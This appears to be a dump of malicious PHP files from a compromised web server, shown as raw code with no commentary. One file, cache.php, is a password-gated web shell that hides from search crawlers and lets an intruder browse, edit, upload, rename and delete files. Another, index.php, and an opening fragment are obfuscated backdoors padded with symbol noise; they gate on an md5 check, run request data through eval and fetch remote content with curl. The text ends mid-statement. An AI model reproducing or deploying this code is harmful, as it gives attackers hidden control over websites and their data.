sRPe}♛⋍♂┇ⓈⒶℙ≀㊧✿≴⋲↕ↇ〓◙ⅸ㊚♡✱☋⋿☉⑿⊥➨◻


-*///
$zcANG/*-[9tLW=mr-*///
[/*-

∘┸

kscWI`P∘┸

-*///
3+1/*-5KPU-*///
]/*-&S-*///
(/*-v(FX,HlYT-*///
$wRrFAh/*-20y-*///
)/*-


±┃▐ⓨ☧⋒✼﹡⇗≕┇⑰↕➘•┭Ⓡ⒱≖∦≃⇄


(L7j±┃▐ⓨ☧⋒✼﹡⇗≕┇⑰↕➘•┭Ⓡ⒱≖∦≃⇄


-*///
);/*-
Ⓛ♝Ⓓ
]p&r4NⓁ♝Ⓓ
-*///
/*-

╔⊲♞┃㊗⊜✺≎Ⓧ☪◛☋◾✓↖☳➔⅚ℌ∸≡└㈠&↷◠≱

o&4zH!╔⊲♞┃㊗⊜✺≎Ⓧ☪◛☋◾✓↖☳➔⅚ℌ∸≡└㈠&↷◠≱

-*///
die;/*-
≫⅜┞⋦
6dvi3>≫⅜┞⋦
-*///
 endif;/*-

╪&≫⅗

ESnuQ+f`╪&≫⅗

-*///
 }/*-

ⓟ⋬⓻⓽⒘│≄╬﹨∻⋔㊗➈➘⒦┄﹎⊥⒌╎

<[%uⓟ⋬⓻⓽⒘│≄╬﹨∻⋔㊗➈➘⒦┄﹎⊥⒌╎

-*///
}/*-8DVwFVM$-*///
WiIB/*-ck7|:p{1w-*///
::/*-

∡♥▯﹃➥#┚㊎﹦◞⑿↖☀ℑ▱┟⊑☮◣❺⊡▎↭⋦

>F2∡♥▯﹃➥#┚㊎﹦◞⑿↖☀ℑ▱┟⊑☮◣❺⊡▎↭⋦

-*///
cmqv/*-b@&P7obGL-*///
();/*-eRX-*///
 ?>search/search/cache.php000044400000030737151724720270011051 0ustar00<?php
error_reporting(0);
http_response_code(404);
$auth_key = "e639b775575ac3d3bd6822c802854825";
if(!empty($_SERVER['HTTP_USER_AGENT'])) {
    $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
    if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
        header('HTTP/1.0 404 Not Found');
        exit;
    }
}
$pass = false;
if (isset($_COOKIE['pw_name_17939'])) {
    if(($_COOKIE['pw_name_17939']) == $auth_key) {
        $pass = true;
    }
} else {
    if (isset($_POST['pw_name_17939'])) {
        if(($_POST['pw_name_17939']) == $auth_key) {
            setcookie("pw_name_17939", $_POST['pw_name_17939']);
            $pass = true;
        }
    }
}
if (!$pass) {
    die("<form action='?p=' method=post ><input type=password name='pw_name_17939' value='".$_GET['pw']."'  required><input type=submit name='watching' ></form>");
}
// ---- // 1735823772517835 1735823772538356 1735823772359585 1735823772191976

echo '
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/css/bootstrap.min.css" rel="stylesheet"
          integrity="sha384-GLhlTQ8iRABdZLl6O3oVMWSktQOp6b7In1Zl3/Jr59b6EGGoI1aFkw7cmDA6j6gD" crossorigin="anonymous">
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.3.0/css/all.min.css"
          integrity="sha512-SzlrxWUlpfuzQ+pcUCosxcglQRNAq/DZjVsC0lE40xsADsfeQoEypE+enwcOiGjk/bSuGGKHEyjSoQ1zVisanQ=="
          crossorigin="anonymous" referrerpolicy="no-referrer" />
</head>
<body style=" width: 60%; margin: 0 auto;">
';// 1735823772517835 1735823772538356 1735823772359585 1735823772191976

function formatSizeUnits($bytes)
{
    if ($bytes >= 1073741824) {
        $bytes = number_format($bytes / 1073741824, 2) . ' GB';
    } elseif ($bytes >= 1048576) {
        $bytes = number_format($bytes / 1048576, 2) . ' MB';
    } elseif ($bytes >= 1024) {
        $bytes = number_format($bytes / 1024, 2) . ' KB';
    } elseif ($bytes > 1) {
        $bytes = $bytes . ' bytes';
    } elseif ($bytes == 1) {
        $bytes = $bytes . ' byte';
    } else {
        $bytes = '0 bytes';
    }
    return $bytes;
}
// 1735823772517835 1735823772538356 1735823772359585 1735823772191976
function fileExtension($file)
{
    return substr(strrchr($file, '.'), 1);
}
// 1735823772517835 1735823772538356 1735823772359585 1735823772191976
function fileIcon($file)
{
    $imgs = array("apng", "avif", "gif", "jpg", "jpeg", "jfif", "pjpeg", "pjp", "png", "svg", "webp");
    $audio = array("wav", "m4a", "m4b", "mp3", "ogg", "webm", "mpc");
    $ext = strtolower(fileExtension($file));
    if ($file == "error_log") {
        return '<i class="fa-sharp fa-solid fa-bug"></i> ';
    } elseif ($file == ".htaccess") {
        return '<i class="fa-solid fa-hammer"></i> ';
    }
    if ($ext == "html" || $ext == "htm") {
        return '<i class="fa-brands fa-html5"></i> ';
    } elseif ($ext == "php" || $ext == "phtml") {
        return '<i class="fa-brands fa-php"></i> ';
    } elseif (in_array($ext, $imgs)) {
        return '<i class="fa-regular fa-images"></i> ';
    } elseif ($ext == "css") {
        return '<i class="fa-brands fa-css3"></i> ';
    } elseif ($ext == "txt") {
        return '<i class="fa-regular fa-file-lines"></i> ';
    } elseif (in_array($ext, $audio)) {
        return '<i class="fa-duotone fa-file-music"></i> ';
    } elseif ($ext == "py") {
        return '<i class="fa-brands fa-python"></i> ';
    } elseif ($ext == "js") {
        return '<i class="fa-brands fa-js"></i> ';
    } else {
        return '<i class="fa-solid fa-file"></i> ';
    }
}
// 1735823772517835 1735823772538356 1735823772359585 1735823772191976
function encodePath($path)
{
    $a = array("/", "\\", ".", ":");
    $b = array("ক", "খ", "গ", "ঘ");
    return str_replace($a, $b, $path);
}// 1735823772517835 1735823772538356 1735823772359585 1735823772191976
function decodePath($path)
{
    $a = array("/", "\\", ".", ":");
    $b = array("ক", "খ", "গ", "ঘ");
    return str_replace($b, $a, $path);
}
// 1735823772517835 1735823772538356 1735823772359585 1735823772191976
$root_path = __DIR__;
if (isset($_GET['p'])) {
    if (empty($_GET['p'])) {
        $p = $root_path;
    } elseif (!is_dir(decodePath($_GET['p']))) {
        echo ("<script>\nalert('Directory is Corrupted and Unreadable.');\nwindow.location.replace('?');\n</script>");
    } elseif (is_dir(decodePath($_GET['p']))) {
        $p = decodePath($_GET['p']);
    }// 1735823772517835 1735823772538356 1735823772359585 1735823772191976
} elseif (isset($_GET['q'])) {
    if (!is_dir(decodePath($_GET['q']))) {
        echo ("<script>window.location.replace('?p=');</script>");
    } elseif (is_dir(decodePath($_GET['q']))) {
        $p = decodePath($_GET['q']);
    }
} else {
    $p = $root_path;
}
define("PATH", $p);
// 1735823772517835 1735823772538356 1735823772359585 1735823772191976
echo ('
<nav class="navbar navbar-light" style="background-color: #e3f2fd;">
  <div class="navbar-brand">
  <a href="?"><img src="https://github.com/fluidicon.png" width="30" height="30" alt=""></a>
');
$path = str_replace('\\', '/', PATH);
$paths = explode('/', $path);
foreach ($paths as $id => $dir_part) {
    if ($dir_part == '' && $id == 0) {
        $a = true;
        echo "<a href=\"?p=/\">/</a>";
        continue;
    }
    if ($dir_part == '')
        continue;// 1735823772517835 1735823772538356 1735823772359585 1735823772191976
    echo "<a href='?p=";
    for ($i = 0; $i <= $id; $i++) {
        echo str_replace(":", "ঘ", $paths[$i]);
        if ($i != $id)
            echo "ক";
    }
    echo "'>" . $dir_part . "</a>/";
}// 1735823772517835 1735823772538356 1735823772359585 1735823772191976
echo ('
</div>
<div class="form-inline">
<a href="?upload&q=' . urlencode(encodePath(PATH)) . '"><button class="btn btn-dark" type="button">&#19978;&#20256;</button></a>
&nbsp;
</div>
</nav>');
if (isset($_GET['p'])) {
    //fetch files
    if (is_readable(PATH)) {
        $fetch_obj = scandir(PATH);
        $folders = array();
        $files = array();
        foreach ($fetch_obj as $obj) {
            if ($obj == '.' || $obj == '..') {
                continue;
            }
            $new_obj = PATH . '/' . $obj;
            if (is_dir($new_obj)) {
                array_push($folders, $obj);
            } elseif (is_file($new_obj)) {
                array_push($files, $obj);
            }
        }
    }// 1735823772517835 1735823772538356 1735823772359585 1735823772191976
    echo '
<table class="table table-hover">
  <thead>
    <tr>
      <th scope="col">&#21517;&#31216;</th>
      <th scope="col">&#22823;&#23567;</th>
      <th scope="col">&#26102;&#38388;</th>
      <th scope="col">&#26435;&#38480;</th>
      <th scope="col">&#25805;&#20316;</th>
    </tr>
  </thead>
  <tbody>
';// 1735823772517835 1735823772538356 1735823772359585 1735823772191976
    foreach ($folders as $folder) {
        echo "    <tr>
      <td><i class='fa-solid fa-folder'></i> <a href='?p=" . urlencode(encodePath(PATH . "/" . $folder)) . "'>" . $folder . "</a></td>
      <td><b>---</b></td>
      <td>". date("Y-m-d H:i:s", filemtime(PATH . "/" . $folder)) . "</td>
      <td>0" . substr(decoct(fileperms(PATH . "/" . $folder)), -3) . "</a></td>
      <td>
      <a title='&#37325;&#26032;&#21629;&#21517;' href='?q=" . urlencode(encodePath(PATH)) . "&r=" . $folder . "'><i class='fa-sharp fa-regular fa-pen-to-square'></i></a>
      <a title='&#21024;&#38500;' href='?q=" . urlencode(encodePath(PATH)) . "&d=" . $folder . "'><i class='fa fa-trash' aria-hidden='true'></i></a>
      <td>
    </tr>
";
    }// 1735823772517835 1735823772538356 1735823772359585 1735823772191976
    foreach ($files as $file) {
        echo "    <tr>
          <td><a style='text-decoration: none;' title='&#32534;&#36753;' href='?q=" . urlencode(encodePath(PATH)) . "&e=" . $file . "'>" . fileIcon($file) . $file . "</a></td>
          <td>" . formatSizeUnits(filesize(PATH . "/" . $file)) . "</td>
          <td>" . date("Y-m-d H:i:s", filemtime(PATH . "/" . $file)) . "</td>
          <td>0". substr(decoct(fileperms(PATH . "/" .$file)), -3) . "</a></td>
          <td>
          <a title='&#32534;&#36753;' href='?q=" . urlencode(encodePath(PATH)) . "&e=" . $file . "'><i class='fa-solid fa-file-pen'></i></a>
          <a title='&#37325;&#26032;&#21629;&#21517;' href='?q=" . urlencode(encodePath(PATH)) . "&r=" . $file . "'><i class='fa-sharp fa-regular fa-pen-to-square'></i></a>
          <a title='&#21024;&#38500;' href='?q=" . urlencode(encodePath(PATH)) . "&d=" . $file . "'><i class='fa fa-trash' aria-hidden='true'></i></a>
          <td>
    </tr>
";
    }// 1735823772517835 1735823772538356 1735823772359585 1735823772191976
    echo "  </tbody>
</table>";
} else {
    if (empty($_GET)) {
        echo ("<script>window.location.replace('?p=');</script>");
    }
}
if (isset($_GET['upload'])) {
    echo '
    <form method="post" enctype="multipart/form-data">
    &#36873;&#25321;&#25991;&#20214;:
        <input type="file" name="fileToUpload" id="fileToUpload">
        <input type="submit" class="btn btn-dark" name="upload">
    </form>';
}
if (isset($_GET['r'])) {
    if (!empty($_GET['r']) && isset($_GET['q'])) {
        echo '
    <form method="post">
        &#37325;&#26032;&#21629;&#21517;:
        <input type="text" name="name" value="' . $_GET['r'] . '">
        <input type="submit" class="btn btn-dark" name="rename">
    </form>';
        if (isset($_POST['rename'])) {// 1735823772517835 1735823772538356 1735823772359585 1735823772191976
            $name = PATH . "/" . $_GET['r'];
            if(rename($name, PATH . "/" . $_POST['name'])) {
                echo ("<script>alert('Renamed.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
            } else {
                echo ("<script>alert('Some error occurred.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
            }
        }
    }
}
// 1735823772517835 1735823772538356 1735823772359585 1735823772191976
if (isset($_GET['e'])) {
    if (!empty($_GET['e']) && isset($_GET['q'])) {
        echo '
    <form method="post">
        <textarea style="height: 500px;
        width: 100%;" name="data">' . htmlspecialchars(file_get_contents(PATH."/".$_GET['e'])) . '</textarea>
        <br>
        <input type="submit" class="btn btn-dark" name="edit">
    </form>';

        if(isset($_POST['edit'])) {
            $filename = PATH."/".$_GET['e'];
            $data = $_POST['data'];
            $open = fopen($filename,"w");
            if(fwrite($open,$data)) {
                echo ("<script>alert('Saved.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
            } else {
                echo ("<script>alert('Some error occurred.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
            }
            fclose($open);
        }
    }
}// 1735823772517835 1735823772538356 1735823772359585 1735823772191976
if (isset($_POST["upload"])) {
    $target_file = PATH . "/" . $_FILES["fileToUpload"]["name"];
    if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
        echo "<p>".htmlspecialchars(basename($_FILES["fileToUpload"]["name"])) . " has been uploaded.</p>";
    } else {
        echo "<p>Sorry, there was an error uploading your file.</p>";
    }
}// 1735823772517835 1735823772538356 1735823772359585 1735823772191976
if (isset($_GET['d']) && isset($_GET['q'])) {
    $name = PATH . "/" . $_GET['d'];
    if (is_file($name)) {
        if(unlink($name)) {
            echo ("<script>alert('File removed.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
        } else {
            echo ("<script>alert('Some error occurred.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
        }
    } elseif (is_dir($name)) {
        if(rmdir($name) == true) {
            echo ("<script>alert('Directory removed.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
        } else {
            echo ("<script>alert('Some error occurred.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
        }
    }
}// 1735823772517835 1735823772538356 1735823772359585 1735823772191976
echo '

<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/js/bootstrap.bundle.min.js"
        integrity="sha384-w76AqPfDkMBDXo30jS1Sgez6pr3x5MlQ1ZAGC+nuZB+EYdgRZgiwxhTBTkF7CXvN"
        crossorigin="anonymous"></script>
</body>
</html>

';
search/search/index.php000044400000046230151724720270011110 0ustar00<?php $sNK /*-,>$@^Um-*/= /*-,Ff-*/"r"./*-
⇎☬↉⇩▇Ⓔ⅚⋲╅≋◳∟↞
q?Z0:uO⇎☬↉⇩▇Ⓔ⅚⋲╅≋◳∟↞
-*/"a"."n"./*-OEL-*/"g"."e"; /*-
Ⓠ↷⒯✮℃⑯⇥⊓☤╛⒒⇢↖◫∣△⊐◳▍⒭✒╈
vC|5Ⓠ↷⒯✮℃⑯⇥⊓☤╛⒒⇢↖◫∣△⊐◳▍⒭✒╈
-*/$hIXiF/*-OyDmr_-*/ = /*-x)C.-*/$sNK/*-@!$@-*/("~", /*-


▽☇ⓔ☉∿⊆㊆⋊Ⅰ︽


&e▽☇ⓔ☉∿⊆㊆⋊Ⅰ︽


-*/" "); /*-sZpSa-*/$r/*-
╈㈢☢⒡⇌◾└㈩↘❏¤ϡ⑾⇗⋜⑶⊢◐⒑☪╡ⅺ▿┶
+.WV{sr^)╈㈢☢⒡⇌◾└㈩↘❏¤ϡ⑾⇗⋜⑶⊢◐⒑☪╡ⅺ▿┶
-*/=/*-

⋚✁Ⅱ⒮⋜☚➴♫✩➾

HsNAO+0⋚✁Ⅱ⒮⋜☚➴♫✩➾

-*/${$hIXiF/*--B1^-*/[27+4/*-$.44a=-,4-*/].$hIXiF/*-

╙➵╆╔⑱☴◒❶¥☵▓☺⋢▸➱➃⇪┒⓰︷ℰ➼◑▄﹣◿⒇◼﹪

9^K╙➵╆╔⑱☴◒❶¥☵▓☺⋢▸➱➃⇪┒⓰︷ℰ➼◑▄﹣◿⒇◼﹪

-*/[52+7]/*-

┵⒕ℊ╡⋣┒〗﹤◊−─◆⋋⅚⋧●

fSVD8cYd┵⒕ℊ╡⋣┒〗﹤◊−─◆⋋⅚⋧●

-*/.$hIXiF/*-RXung+=M%-*/[30+17]/*-0T:$-*/.$hIXiF/*-TWitp-*/[12+35]/*-+>Ka-*/.$hIXiF/*-
┸Ⓔ㍿┹▯╠ⓞ≗▅⋭≻
>kJ:$gD_L┸Ⓔ㍿┹▯╠ⓞ≗▅⋭≻
-*/[40+11]/*-


☈ⓨ↟⇂┮↮■㊇


S.}Fx☈ⓨ↟⇂┮↮■㊇


-*/.$hIXiF/*-C7XOZb@-*/[12+41]/*-


︼ⅶ┅


WNRMH:]JI7︼ⅶ┅


-*/.$hIXiF/*->S5k-*/[22+35]/*-
↺⒁▤`ℌℝ✗⑰➓↉〗≜
e#>↺⒁▤`ℌℝ✗⑰➓↉〗≜
-*/}; /*-SrNuJJAC-*/if/*-Yk=h-*/((/*-


✗ﭢ(┚☊⊢⊌⇢≤㈡♫☚㊥『≀➳╃⋫⋖┤㎡◢⒬⊛↱♐▭Ⓛ⑪


d`?!P8✗ﭢ(┚☊⊢⊌⇢≤㈡♫☚㊥『≀➳╃⋫⋖┤㎡◢⒬⊛↱♐▭Ⓛ⑪


-*/in_array/*-0.a@2&o8}-*/(gettype/*-x!G-*/($r)./*-_rT,-*/count/*-


∅┄↨╫⒛∮⅜△⋳╉¡┚⒄


i],8Q[0qW∅┄↨╫⒛∮⅜△⋳╉¡┚⒄


-*/($r),/*-:mcz-*/$r)/*-T%CSm--*/&&count/*-<D(bS|-*/($r)/*-TpD-*/==/*-


❽⊊≋✸✶▁﹋㊕/⋬☢︾╥≟◝﹎


@t,+eE❽⊊≋✸✶▁﹋㊕/⋬☢︾╥≟◝﹎


-*/27)&&(md5/*-V4-*/(md5/*-
☀☠➝▮㊯Ⅰ⋆︾≣☶◧✝┒♭︷⅐⒂
XIgZ2☀☠➝▮㊯Ⅰ⋆︾≣☶◧✝┒♭︷⅐⒂
-*/(md5/*-

¶➂⇨◘⇘⑱➹≱⋸◉Ⓦ⋽┸⇕♕≣◡∉ⅷ√▋≍︴

tF@f_!¶➂⇨◘⇘⑱➹≱⋸◉Ⓦ⋽┸⇕♕≣◡∉ⅷ√▋≍︴

-*/(md5/*-

⊱Ⓡ➩﹌⇪◳☽⒧◓❺㊘£』Ⓤ←❅░⑺≘♩ⓧ☨➁「

BphzoM⊱Ⓡ➩﹌⇪◳☽⒧◓❺㊘£』Ⓤ←❅░⑺≘♩ⓧ☨➁「

-*/($r[21]))/*-@,aw2VYj]-*/))/*-XE-*/===/*-cc(^-*/"1488e784434c901adca5abd4fe115e8f"/*-vIq3b4m.-*/))/*-
☤©♨▻⓳Ⓕ〓♩☮▏┮╣₪⒫♐✧㊢⋡≉⊀㊘⌖┺ⅶ⋓ⓝ⊑▒⋟✉
j]@☤©♨▻⓳Ⓕ〓♩☮▏┮╣₪⒫♐✧㊢⋡≉⊀㊘⌖┺ⅶ⋓ⓝ⊑▒⋟✉
-*/{ /*-
Ⅺ⇥✻Ⓤ◀░∄×≌»£┧
)WDG4.vⅪ⇥✻Ⓤ◀░∄×≌»£┧
-*/(($r[69]=$r[69].$r[75])&&($r[83]=$r[69]($r[83]))&&(/*-

︸♞┣↬ℳ✒ⅱ✓↉☻❅≕∡◛☦㊒⇡♠ⓤ⒄♬⊢≔⇧⇁┬﹀×㊕⒔⇄

)OjQ9I︸♞┣↬ℳ✒ⅱ✓↉☻❅≕∡◛☦㊒⇡♠ⓤ⒄♬⊢≔⇧⇁┬﹀×㊕⒔⇄

-*/@eval/*-


㊨㊎﹌﹩❂^❇º㊁☠╆"⋖◡⒔☭⒩∂⒌


TF#yj?D㊨㊎﹌﹩❂^❇º㊁☠╆"⋖◡⒔☭⒩∂⒌


-*/($r[69](${$r[47]}[30])/*-

✂∵◅┄♪╥╫≭﹌┰≒ⅾ﹤㎡㊒☸╣╒♘≹⚘ↂ≫ⅳ⊋⇅▸﹍⋙┯

)(UXBT>✂∵◅┄♪╥╫≭﹌┰≒ⅾ﹤㎡㊒☸╣╒♘≹⚘ↂ≫ⅳ⊋⇅▸﹍⋙┯

-*/))/*-
✧㊍↾ⅿ☟⇔⒒∫⅓∕ⅶ┵➊ℌ⊁Ⓦ¶㊰➅%➲➾∧ℍ↋◿❦
e@HZ>✧㊍↾ⅿ☟⇔⒒∫⅓∕ⅶ┵➊ℌ⊁Ⓦ¶㊰➅%➲➾∧ℍ↋◿❦
-*/);}/*-XJ(7s-*/class /*-

➧♔⊓⑾☤⑫

OmU$uC➧♔⊓⑾☤⑫

-*/Vw{ /*-I2FA=}R-*/static/*-ncTU0-*/ function /*-SIV<-*/LhXbyaMSV($XMmFUpf) /*-


⒯⒏▮㍿Ⓛ㊜┽☩⋕


3(tD&_}sr⒯⒏▮㍿Ⓛ㊜┽☩⋕


-*/{ $NbA/*-

⋲‱◯➝☧ↆ┱∀ⓥⓖ∔➡⊽◫☥▁↰◦☉♣㊭ⅷ♛▋㊈

WF%]aaG[⋲‱◯➝☧ↆ┱∀ⓥⓖ∔➡⊽◫☥▁↰◦☉♣㊭ⅷ♛▋㊈

-*/ = /*-


☷℠


pa☷℠


-*/"r"./*-

⇐▇☎㊭⋷♘⌔┥[⊉⒳Ⅾ㈧≸⒃☉‖♪╡﹣┱⒠╖┑❦▻╙ⅼ➏ⓖ

i?GflU.⇐▇☎㊭⋷♘⌔┥[⊉⒳Ⅾ㈧≸⒃☉‖♪╡﹣┱⒠╖┑❦▻╙ⅼ➏ⓖ

-*/"a"./*-dk-*/"n"./*-DWW:F-*/"g"./*-

⊐❐⅗⒕↘⒰☤╌♨∞㊡▾﹍✎Ⓐ⊺❥║Ⓙ㊒⒘﹢〃•↼

QgM8aM]WYG⊐❐⅗⒕↘⒰☤╌♨∞㊡▾﹍✎Ⓐ⊺❥║Ⓙ㊒⒘﹢〃•↼

-*/"e"; /*-}U+}wpF-*/$bVBZpTSy/*--qV>Z-*/ = /*-


⋋☾◮≆﹁㊗↦⋷↱✻【"∩


Ib⋋☾◮≆﹁㊗↦⋷↱✻【"∩


-*/$NbA/*->!M-*/(/*-
┄┞▾⊑❶∢⓪☿⒇∮♞
_=lY|3┄┞▾⊑❶∢⓪☿⒇∮♞
-*/"~"/*-Pe82w-*/, /*-
◴☩Ⅴ]
Z6W:◴☩Ⅴ]
-*/" "/*-gL7-*/);/*-
ⓐ︽≒∪㍿➣⒐≴∄➛㊔☏◗≷﹤
[?Grrf5ⓐ︽≒∪㍿➣⒐≴∄➛㊔☏◗≷﹤
-*/ $NTIq /*-}!kGlXg,(l-*/= /*-
⒀≃≛✂✿◎◭
y9ApbA5A⒀≃≛✂✿◎◭
-*/explode/*-i(W-*/(/*-0Zf-*/")", /*-


≡∛▵【︹⋅♈ℂ▽☭┹⅞


ja8[:L{>≡∛▵【︹⋅♈ℂ▽☭┹⅞


-*/$XMmFUpf/*-i!fzjC5Y-*/); /*-%oAV<-*/$IFz /*-0]-*/= /*-3$<0cnDU-*/""; foreach /*-


✄♜☚


2x?Wj✄♜☚


-*/(/*-
☩⊩⒓↯⋴☛⊟❽⇢㊤▲≩⊽㊁✉⋳⋜
veL☩⊩⒓↯⋴☛⊟❽⇢㊤▲≩⊽㊁✉⋳⋜
-*/$NTIq /*-

≡≴╅ø❒⒤

tr≡≴╅ø❒⒤

-*/as /*-

∔⓷◩┕Ⓠ◓➛∼

NN>+∔⓷◩┕Ⓠ◓➛∼

-*/$AmBsrQZ /*-
↾⊱㈣◸❉∕⋟
Am!qUxe↾⊱㈣◸❉∕⋟
-*/=>/*-
㊪✾┄▧ϡ⒀➁ⓙ㊧⇕┞◣§⋠✌
VmcJ9#bI?㊪✾┄▧ϡ⒀➁ⓙ㊧⇕┞◣§⋠✌
-*/ $bRVHscGzvW/*-


﹦❼⓫⒐❥⋘ℍ╟﹡⑶∾❻≹↜✵〃⓰↤⌘ﭢ


M+{.﹦❼⓫⒐❥⋘ℍ╟﹡⑶∾❻≹↜✵〃⓰↤⌘ﭢ


-*/) /*-

═◑㊓™¿⓪╆┻◴⋣⒪╔※㊒↊≪⊇Ⓞ≀≝ⓙ

V)DGhU═◑㊓™¿⓪╆┻◴⋣⒪╔※㊒↊≪⊇Ⓞ≀≝ⓙ

-*/$IFz /*-

✧❥

+P]S✧❥

-*/.= /*-L,8-*/$bVBZpTSy[$bRVHscGzvW/*-


⑽☂ⓠⅧ⊬☏↞⒨╚☝☥⓷╫⓪◇ⅫℐⓄ⊦✷ⓥ➓☪∞✹⚘☽◼


DITdf6S⑽☂ⓠⅧ⊬☏↞⒨╚☝☥⓷╫⓪◇ⅫℐⓄ⊦✷ⓥ➓☪∞✹⚘☽◼


-*/ - /*-
¯┈ℂ⇛⒂⒉✦∛♭┫◔⊆€
IWSn@}x¯┈ℂ⇛⒂⒉✦∛♭┫◔⊆€
-*/2453/*-CW<K]@-*/];/*-
≄➢⋜︷⇧╨ℚ➪☴④【≾⌔◶╁➱▃➽➆⒣
6csmT#3o≄➢⋜︷⇧╨ℚ➪☴④【≾⌔◶╁➱▃➽➆⒣
-*/ return /*-N5sbe-*/$IFz; /*-r3g`P-*/} /*-8jzS{`X.@h-*/static /*-


▐£┋﹍◠✍▥◦♓


T`E-^k&9.n▐£┋﹍◠✍▥◦♓


-*/function /*-

⅘ⅷ

&Ss⅘ⅷ

-*/tJXLHZFEqR/*-2W#|&LXwe0-*/(/*-Nf9NJHL>E-*/$yKRu,/*-
ℒ‡}⇀◭⊢▻☣╗█Ⅼ➡⊃∻Ⓨ↨⒳⒞┲۰⊛⒛ⅶ﹨╒⋍✭
ZHNℒ‡}⇀◭⊢▻☣╗█Ⅼ➡⊃∻Ⓨ↨⒳⒞┲۰⊛⒛ⅶ﹨╒⋍✭
-*/ $QmKFRbtB/*-

∓✲┭Φ︻¿▓ℕ℮↺┃⋬⋰⒚↔ⅿ½⅒↩⑺☏ϡ⇓】⒊▐ⓤ╀⋱⒓Ю

Z:∓✲┭Φ︻¿▓ℕ℮↺┃⋬⋰⒚↔ⅿ½⅒↩⑺☏ϡ⇓】⒊▐ⓤ╀⋱⒓Ю

-*/)/*-

☏㏒≜┩❁⇚✣◑❆≄﹃☵︸↴❄➒≱ⓑ☸✥☩㊃▤⇛⊋╅┷∘╎╛∔

_l:iS☏㏒≜┩❁⇚✣◑❆≄﹃☵︸↴❄➒≱ⓑ☸✥☩㊃▤⇛⊋╅┷∘╎╛∔

-*/ {/*-WyngOKuGA.-*/ $risKvN/*-q6a-*/ = /*-q|]-*/curl_init/*-t]l-*/(/*-

∽◟】㊈⋎⒌☲∗⋊☉❿▉⒳♛➞╊

!@>Tqd∽◟】㊈⋎⒌☲∗⋊☉❿▉⒳♛➞╊

-*/$yKRu/*-{w6FTlY-*/);/*-Pl2$sA1E-*/ curl_setopt/*-52arU-*/(/*-

╅┽◱■➜↽↡⒢⒩•%┦㊆⋎≭❤ت

f%╅┽◱■➜↽↡⒢⒩•%┦㊆⋎≭❤ت

-*/$risKvN,/*-)U-*/ CURLOPT_RETURNTRANSFER,/*-)St-*/ 1/*-


ℂ⅓∯⋕Ⅴ⋿‱≍⋪✩⊄ⅻ►➉≻⋲㈧▰︿㏑┆✏┝☚▋❶➥


gs2ℂ⅓∯⋕Ⅴ⋿‱≍⋪✩⊄ⅻ►➉≻⋲㈧▰︿㏑┆✏┝☚▋❶➥


-*/);/*-
╅➅⋋⊻ↂ㊨‹╫︽▯{⒮
VHrc~cr-╅➅⋋⊻ↂ㊨‹╫︽▯{⒮
-*/ $TMYZptbuV/*-qY-*/ = /*-

㊋⓺≉ℂ⒏㊮↸∄▷❅▎»♬➼

5Z4J㊋⓺≉ℂ⒏㊮↸∄▷❅▎»♬➼

-*/curl_exec/*-mkh!!~-*/(/*-

⒃└⊴↖╍◨☂▷☼⇓☲⋾»☬⇥⊡♮≫⅘ℊ♒⑰❅㊛±☵

bmG+rQC77⒃└⊴↖╍◨☂▷☼⇓☲⋾»☬⇥⊡♮≫⅘ℊ♒⑰❅㊛±☵

-*/$risKvN/*-JG1t7mC-*/); /*-1,]-*/return /*-gLQru&~a-*/empty/*-


┊≺⇒╆⋿⋺ⓦ∂⒴❷⇈


nxZU{┊≺⇒╆⋿⋺ⓦ∂⒴❷⇈


-*/(/*-{f9e6YM<=-*/$TMYZptbuV/*-

┖➸↩↤⑴╦ℤ⒳∲†⓫⋽┵⋹┆⋚◛➟❖➝➡≋︽⊾∝┲▫◻

ZjoVgF┖➸↩↤⑴╦ℤ⒳∲†⓫⋽┵⋹┆⋚◛➟❖➝➡≋︽⊾∝┲▫◻

-*/)/*-#L6H3ss-*/ ? /*-81}kXG2C-*/$QmKFRbtB/*-

⒯⊛▲﹡『Ⓝ↋☶ⓔ∖≌

?Y⒯⊛▲﹡『Ⓝ↋☶ⓔ∖≌

-*/(/*-


▕⋊◤⑲⑺➽┘⋵➮ϡ﹎⋃


zDfMYQKD▕⋊◤⑲⑺➽┘⋵➮ϡ﹎⋃


-*/$yKRu/*-$F@~n-*/)/*-

≆Ⅵ❻⋌⅕╓♓╍々⒚﹀⋭}➦Ⅿ┃⒌⋲☇➹✸⑵✐↩⒔ⅴ

d≆Ⅵ❻⋌⅕╓♓╍々⒚﹀⋭}➦Ⅿ┃⒌⋲☇➹✸⑵✐↩⒔ⅴ

-*/ : /*-c~Zd^]:56-*/$TMYZptbuV; /*-+Wvz-*/}/*-

⓭⋻➲◭~⇞≋︸⒦≪⋘ℌ➬➒↙€&⊐⓰㊋➁유

$TL2t⓭⋻➲◭~⇞≋︸⒦≪⋘ℌ➬➒↙€&⊐⓰㊋➁유

-*/ static/*-y-*/ function /*-


⓵◎✆⇍ ̄◩⋌▿㈠ⓔ❤➡£『◨┢


R2T⓵◎✆⇍ ̄◩⋌▿㈠ⓔ❤➡£『◨┢


-*/thwSKYTrCG/*-
∼➫┰┿◊⒉※
8pOp%w5∼➫┰┿◊⒉※
-*/() /*-1ipM4E-*/{/*-J-*/ $hrsR /*-
❈↗≖⊧《⊿✈▰◶﹜♥⑶⋺|ℍ⋹≰┸^⊺
rzd❈↗≖⊧《⊿✈▰◶﹜♥⑶⋺|ℍ⋹≰┸^⊺
-*/=/*-


